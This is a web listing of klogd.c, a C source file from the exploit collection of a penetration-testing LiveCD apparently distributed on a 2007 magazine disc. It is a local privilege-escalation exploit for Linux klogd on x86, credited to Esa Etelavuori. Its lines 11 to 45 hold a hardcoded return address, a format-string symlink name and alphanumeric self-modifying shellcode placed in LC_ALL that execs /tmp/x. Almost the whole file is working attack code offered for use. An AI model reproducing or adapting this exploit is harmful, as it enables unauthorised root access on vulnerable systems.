home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / klogd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  50 lines

  1. /*
  2.  * Linux/x86 klogd exploit using envcheck by
  3.  * Esa Etelavuori (www.iki.fi/ee/) in 2k0912
  4.  * Tested on Red Hat 6.2 / Celeron A & P2.
  5.  * You need some skillz to use this.
  6.  */
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. #define RETADDR    0xbffffdab
  12.  
  13. int main(int ac, char **av)
  14. {
  15.     char sting[] = "./[<%2009xAAAABBB";
  16.     /* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
  17.      * May need tuning for correct %esp offset (%ebx) for modification
  18.      * of last two bytes which are transformed into int 0x80. */
  19.     char *venom = "LC_ALL="
  20.         "T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p";
  21.  
  22.     if (ac != 1 && ac != 2) {
  23.         fprintf(stderr, "usage: %s [return address]\n", av[0]);
  24.         exit(1);
  25.     }
  26.  
  27.     if (ac == 2 && av[1][0] == '-') {
  28.         printf("done\n");
  29.         exit(0); 
  30.     }
  31.     else if (ac == 2 && av[1][0] == '+') {
  32.         if (putenv(venom)) {
  33.             perror("putenv");
  34.             exit(1);
  35.         }
  36.         execl(av[0], av[0], "-", NULL);
  37.     }
  38.     else {
  39.         *(unsigned long *)(&sting[strlen(sting) - 4 - 3])
  40.             = ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
  41.         if (symlink(av[0], sting)) {
  42.             perror("symlink");
  43.             exit(1);
  44.         }
  45.         execl(sting, sting, "+", NULL);
  46.     }
  47.  
  48.     perror("execl");
  49.     exit(1);
  50. }